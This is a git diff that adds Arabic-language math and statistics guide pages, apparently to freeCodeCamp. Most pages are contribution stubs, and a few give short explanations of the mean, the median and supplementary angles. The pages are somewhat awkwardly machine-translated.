+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/hypothesis/index.md b/client/src/guide/arabic/mathematics/statistics/hypothesis/index.md
new file mode 100644
index 0000000000..e0e0ee2147
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/hypothesis/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypothesis
+localeTitle: فرضية
+---
+## فرضية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/hypothesis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/index.md b/client/src/guide/arabic/mathematics/statistics/index.md
new file mode 100644
index 0000000000..955109d0cc
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/index.md
@@ -0,0 +1,11 @@
+---
+title: Statistics
+localeTitle: الإحصاء
+---
+## الإحصاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/k-means/index.md b/client/src/guide/arabic/mathematics/statistics/k-means/index.md
new file mode 100644
index 0000000000..a516e3bd06
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/k-means/index.md
@@ -0,0 +1,11 @@
+---
+title: K Means
+localeTitle: ك يعني
+---
+## ك يعني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/k-means/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/markov-chains/index.md b/client/src/guide/arabic/mathematics/statistics/markov-chains/index.md
new file mode 100644
index 0000000000..ef4bb9daba
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/markov-chains/index.md
@@ -0,0 +1,11 @@
+---
+title: Markov Chains
+localeTitle: سلاسل ماركوف
+---
+## سلاسل ماركوف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/markov-chains/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/mean/index.md b/client/src/guide/arabic/mathematics/statistics/mean/index.md
new file mode 100644
index 0000000000..290548f72e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/mean/index.md
@@ -0,0 +1,41 @@
+---
+title: Mean
+localeTitle: تعني
+---
+## تعني
+
+المقياس الأكثر شيوعًا للميل المركزي ، أو القيمة المستخدمة لوصف مجموعة من الأرقام ، هو المتوسط ​​الحسابي ، أو المتوسط. للعثور على المتوسط ​​( _A_ ) لمجموعة من الأرقام ، يمكنك إضافة قيمها وتقسيمها على عدد القيم ( _n_ ).
+
+![يعني الفورمولا](https://wikimedia.org/api/rest_v1/media/math/render/svg/90330653b40adf032ea8e144f84d7eec1a88054d)
+
+### أمثلة
+
+*   **1 و 4 و 5 و 2 و 3**
+    
+    (1 + 4 + 5 + 2 +3) / 5 = 3
+    
+*   **20 و 14 و 23**
+    
+    (20 + 14 + 23) / 3 = 19
+    
+*   **\-12 ، -20 ، -16 ، -21**
+    
+    (-12 ، -20 ، -16 ، -21) / 4 = -17.25 \\
+    
+
+يمكن أن يكون المتوسط ​​طريقة رائعة لوصف مجموعة من الأرقام. ومع ذلك ، من المهم إدراك أن إحدى القيم التي تكون أعلى أو أقل من القيم الأخرى ، والتي يُشار إليها باعتبارها قيمة خارجية ، في المجموعة يمكن أن تتسبب في أن تمثل بشكل غير دقيق مجموعة الأرقام. بالنسبة إلى instace ، إذا كان لديك مجموعة من الأرقام تتكون أساسًا من أرقام صغيرة تحتوي على عدد كبير ، فسيكون المتوسط ​​في النهاية أكبر من غالبية الأرقام ، ويصور بشكل غير دقيق مجموعة الأرقام على أنها أعلى مما هي عليه بالفعل.
+
+### أمثلة
+
+*   **2 ، 7 ، -3 ، 1 ، 0 ، 2 ، 857**
+    
+    (2 + 7 + (-3) + 1 + 0 + 2 + 857) / 7 = 123.71
+    
+*   **1276 و 1141 و 1271 و 1053 و 1**
+    
+    (1276 + 1141 + 1271 + 1053 + 1) / 5 = 948.4
+    
+
+#### معلومات اكثر:
+
+*   ![Mean](http://www.purplemath.com/modules/meanmode.htm "تعني")
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/median/index.md b/client/src/guide/arabic/mathematics/statistics/median/index.md
new file mode 100644
index 0000000000..3b3fccbde6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/median/index.md
@@ -0,0 +1,21 @@
+---
+title: Median
+localeTitle: الوسيط
+---
+## الوسيط
+
+#### فريف:
+
+الوسيط هو أحد مقاييس الاتجاه المركزي لمجموعة البيانات. للعثور على الوسيط ، نرتب الملاحظات بالترتيب من أصغر إلى أكبر قيمة. إذا كان هناك عدد فردي من الملاحظات ، فإن الوسيط هو القيمة المتوسطة. إذا كان هناك عدد زوجي من الملاحظات ، فإن الوسيط هو متوسط ​​(المتوسط) للقيمتين الأوسطتين.
+
+#### مثال 1:
+
+في مجموعة البيانات \[3 ، 4 ، 8 ، 6 ، 34 ، 22 ، 5\] ، للعثور على الوسيط ، نقوم بتصنيف المجموعة إلى \[3 ، 4 ، 5 ، 6 ، 8 ، 22 ، 34\]. القيمة المتوسطة أي 6 هي الوسيط.
+
+#### xample 1:
+
+في مجموعة البيانات \[3 ، 4 ، 8 ، 6 ، 22 ، 5\] ، للعثور على الوسيط ، نقوم بتصنيف المجموعة إلى \[3 ، 4 ، 5 ، 6 ، 8 ، 22\]. متوسط ​​5 و 6 أي 5.5 هو الوسيط.
+
+#### معلومات اكثر:
+
+يمكن الاطلاع على مراجعة أكثر تفصيلاً ودقة [هنا](https://en.wikipedia.org/wiki/Median)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/mode/index.md b/client/src/guide/arabic/mathematics/statistics/mode/index.md
new file mode 100644
index 0000000000..ec56a70cd0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/mode/index.md
@@ -0,0 +1,11 @@
+---
+title: Mode
+localeTitle: الوضع
+---
+## الوضع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/mode/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/normal-distribution/index.md b/client/src/guide/arabic/mathematics/statistics/normal-distribution/index.md
new file mode 100644
index 0000000000..e074d8d820
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/normal-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Distribution
+localeTitle: التوزيع الطبيعي
+---
+## التوزيع الطبيعي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/normal-distribution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/p-value/index.md b/client/src/guide/arabic/mathematics/statistics/p-value/index.md
new file mode 100644
index 0000000000..dfc463a189
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/p-value/index.md
@@ -0,0 +1,11 @@
+---
+title: P Value
+localeTitle: قيمة P
+---
+## قيمة P
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/p-value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/poisson-distribution/index.md b/client/src/guide/arabic/mathematics/statistics/poisson-distribution/index.md
new file mode 100644
index 0000000000..501272d05a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/poisson-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Poisson Distribution
+localeTitle: توزيع السمك
+---
+## توزيع السم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/poisson-distribution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/probability-distribution/index.md b/client/src/guide/arabic/mathematics/statistics/probability-distribution/index.md
new file mode 100644
index 0000000000..11c8632d45
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/probability-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability Distribution
+localeTitle: توزيع الاحتمالات
+---
+## توزيع الاحتمالات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/probability-distribution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/probability/index.md b/client/src/guide/arabic/mathematics/statistics/probability/index.md
new file mode 100644
index 0000000000..2f24e1e429
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability
+localeTitle: احتمالا
+---
+## احتمالا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/probability/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/random-sampling/index.md b/client/src/guide/arabic/mathematics/statistics/random-sampling/index.md
new file mode 100644
index 0000000000..0f48c69f94
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/random-sampling/index.md
@@ -0,0 +1,11 @@
+---
+title: Random Sampling
+localeTitle: أخذ العينات العشوائية
+---
+## أخذ العينات العشوائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/random-sampling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/range/index.md b/client/src/guide/arabic/mathematics/statistics/range/index.md
new file mode 100644
index 0000000000..5401aa5a20
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/range/index.md
@@ -0,0 +1,11 @@
+---
+title: Range
+localeTitle: نطاق
+---
+## نطاق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/range/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/regression/index.md b/client/src/guide/arabic/mathematics/statistics/regression/index.md
new file mode 100644
index 0000000000..29c8cb4d81
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/regression/index.md
@@ -0,0 +1,11 @@
+---
+title: Regression
+localeTitle: انحسار
+---
+## انحسار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/regression/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/standard-deviation/index.md b/client/src/guide/arabic/mathematics/statistics/standard-deviation/index.md
new file mode 100644
index 0000000000..ae4a1aac67
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/standard-deviation/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation
+localeTitle: الانحراف المعياري
+---
+## الانحراف المعياري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/standard-deviation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/t-test/index.md b/client/src/guide/arabic/mathematics/statistics/t-test/index.md
new file mode 100644
index 0000000000..bca60df88c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/t-test/index.md
@@ -0,0 +1,11 @@
+---
+title: T Test
+localeTitle: اختبار T
+---
+## اختبار T
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/t-test/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/variance/index.md b/client/src/guide/arabic/mathematics/statistics/variance/index.md
new file mode 100644
index 0000000000..a399132ec0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Variance
+localeTitle: التباين
+---
+## التباين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/variance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/straight-line-equations-point-slope-form/index.md b/client/src/guide/arabic/mathematics/straight-line-equations-point-slope-form/index.md
new file mode 100644
index 0000000000..ac44923b15
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/straight-line-equations-point-slope-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Straight Line Equations Point Slope Form
+localeTitle: خط مستقيم المعادلات نقطة المنحدر شكل
+---
+## خط مستقيم المعادلات نقطة المنحدر شكل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/straight-line-equations-point-slope-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/straight-line-equations-slope-intercept-form/index.md b/client/src/guide/arabic/mathematics/straight-line-equations-slope-intercept-form/index.md
new file mode 100644
index 0000000000..be2ddbfbef
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/straight-line-equations-slope-intercept-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Straight Line Equations Slope Intercept Form
+localeTitle: خط مستقيم المعادلات اعتراض شكل المنحدر
+---
+## خط مستقيم المعادلات اعتراض شكل المنحدر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/straight-line-equations-slope-intercept-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/subtracting-fractions-with-unlike-denominators/index.md b/client/src/guide/arabic/mathematics/subtracting-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..a1c3aa9a98
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/subtracting-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtracting Fractions with Unlike Denominators
+localeTitle: طرح الكسور بعكس القواسم
+---
+## طرح الكسور بعكس القواسم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/subtracting-fractions-with-unlike-denominators/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/subtracting-fractions/index.md b/client/src/guide/arabic/mathematics/subtracting-fractions/index.md
new file mode 100644
index 0000000000..ef5477ca0f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/subtracting-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtracting Fractions
+localeTitle: طرح الكسور
+---
+## طرح الكسور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/subtracting-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/sum-of-the-first-n-terms-of-a-series/index.md b/client/src/guide/arabic/mathematics/sum-of-the-first-n-terms-of-a-series/index.md
new file mode 100644
index 0000000000..f9cf60dc9d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sum-of-the-first-n-terms-of-a-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Sum of the First N Terms of a Series
+localeTitle: مجموع شروط First N من سلسلة
+---
+## مجموع شروط First N من سلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sum-of-the-first-n-terms-of-a-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/summation-notation-for-sums/index.md b/client/src/guide/arabic/mathematics/summation-notation-for-sums/index.md
new file mode 100644
index 0000000000..f3030999e3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/summation-notation-for-sums/index.md
@@ -0,0 +1,11 @@
+---
+title: Summation Notation for Sums
+localeTitle: تدوين ملخص للمبالغ
+---
+## تدوين ملخص للمبالغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/summation-notation-for-sums/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/supplementary-angles/index.md b/client/src/guide/arabic/mathematics/supplementary-angles/index.md
new file mode 100644
index 0000000000..67d4ba53de
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/supplementary-angles/index.md
@@ -0,0 +1,19 @@
+---
+title: Supplementary Angles
+localeTitle: زوايا التكميلية
+---
+## زوايا التكميلية
+
+تسمى الزاويتان اللتان تصلان إلى 180 درجة بالزوايا التكميلية.
+
+![صورة تظهر زاويتين ، واحدة مع 120 درجة والأخرى مع 60 درجة](https://raw.githubusercontent.com/pranabendra/articles/master/Supplementary-angles/images/sup1.png)
+
+لا يجب أن تكون الزوايا التكميلية بجانب بعضها البعض ، طالما أن الإجمالي هو 180 درجة. إليك مثال على ذلك:
+
+![الخطوط المتوازية (أ) و (ب) مع السطر (t) خلالها ، مما يؤدي إلى إنشاء 8 زوايا](https://raw.githubusercontent.com/pranabendra/articles/master/Supplementary-angles/images/sup2.png)
+
+كما `a` موازية ل `b` ، **زوايا** " `3` " و " `6` " مبلغ يصل إلى 180 درجة. وبالتالي ، فهي زوايا تكميلية.
+
+### معلومات اكثر:
+
+*   مقالة الزوايا التكميلية: [المدرسون](https://www.varsitytutors.com/hotmath/hotmath_help/topics/supplementary-angles)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/surface-area-of-a-cone/index.md b/client/src/guide/arabic/mathematics/surface-area-of-a-cone/index.md
new file mode 100644
index 0000000000..5d965e6d2b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/surface-area-of-a-cone/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Cone
+localeTitle: المساحة السطحية للمخروط
+---
+## المساحة السطحية للمخروط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-cone/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/surface-area-of-a-pyramid/index.md b/client/src/guide/arabic/mathematics/surface-area-of-a-pyramid/index.md
new file mode 100644
index 0000000000..516f00d516
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/surface-area-of-a-pyramid/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Pyramid
+localeTitle: المساحة السطحية للهرم
+---
+## المساحة السطحية للهرم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-pyramid/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/surface-area-of-a-sphere/index.md b/client/src/guide/arabic/mathematics/surface-area-of-a-sphere/index.md
new file mode 100644
index 0000000000..e8d6d30bc4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/surface-area-of-a-sphere/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Sphere
+localeTitle: المساحة السطحية للكرة
+---
+## المساحة السطحية للكرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-sphere/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/synthetic-division/index.md b/client/src/guide/arabic/mathematics/synthetic-division/index.md
new file mode 100644
index 0000000000..514e955be7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Synthetic Division
+localeTitle: تقسيم الاصطناعية
+---
+## تقسيم الاصطناعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/synthetic-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/systems-of-equations-with-substitution/index.md b/client/src/guide/arabic/mathematics/systems-of-equations-with-substitution/index.md
new file mode 100644
index 0000000000..4fbd64b494
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/systems-of-equations-with-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Equations with Substitution
+localeTitle: نظم المعادلات مع الاستبدال
+---
+## نظم المعادلات مع الاستبدال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-equations-with-substitution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/systems-of-linear-equations-definitions/index.md b/client/src/guide/arabic/mathematics/systems-of-linear-equations-definitions/index.md
new file mode 100644
index 0000000000..52b0446fa4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/systems-of-linear-equations-definitions/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Definitions
+localeTitle: نظم المعادلات الخطية التعاريف
+---
+## نظم المعادلات الخطية التعاريف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-definitions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md b/client/src/guide/arabic/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md
new file mode 100644
index 0000000000..8c0fbd4994
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Solving by Addition or Elimination
+localeTitle: نظم المعادلات الخطية حل من خلال الجمع أو الإزالة
+---
+## نظم المعادلات الخطية حل من خلال الجمع أو الإزالة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-solving-by-addition-or-elimination/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/systems-of-linear-equations-solving-by-substitution/index.md b/client/src/guide/arabic/mathematics/systems-of-linear-equations-solving-by-substitution/index.md
new file mode 100644
index 0000000000..79304dd42a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/systems-of-linear-equations-solving-by-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations Solving by Substitution
+localeTitle: نظم المعادلات الخطية حل عن طريق الاستبدال
+---
+## نظم المعادلات الخطية حل عن طريق الاستبدال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/systems-of-linear-equations-solving-by-substitution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/table-of-factors-and-multiples/index.md b/client/src/guide/arabic/mathematics/table-of-factors-and-multiples/index.md
new file mode 100644
index 0000000000..609c92d0d8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/table-of-factors-and-multiples/index.md
@@ -0,0 +1,11 @@
+---
+title: Table of Factors and Multiples
+localeTitle: جدول العوامل والمضاعفات
+---
+## جدول العوامل والمضاعفات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/table-of-factors-and-multiples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/taylor-and-maclaurin-polynomials-intro/index.md b/client/src/guide/arabic/mathematics/taylor-and-maclaurin-polynomials-intro/index.md
new file mode 100644
index 0000000000..2adc28d4c5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/taylor-and-maclaurin-polynomials-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Taylor and Maclaurin Polynomials Intro
+localeTitle: تايلور و Maclaurin Polynomials مقدمة
+---
+## تايلور و Maclaurin Polynomials مقدمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/taylor-and-maclaurin-polynomials-intro/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-binomial-theorem-formulas/index.md b/client/src/guide/arabic/mathematics/the-binomial-theorem-formulas/index.md
new file mode 100644
index 0000000000..575d639d29
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-binomial-theorem-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: The Binomial Theorem Formulas
+localeTitle: صيغ نظرية ذات الحدين
+---
+## صيغ نظرية ذات الحدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-binomial-theorem-formulas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
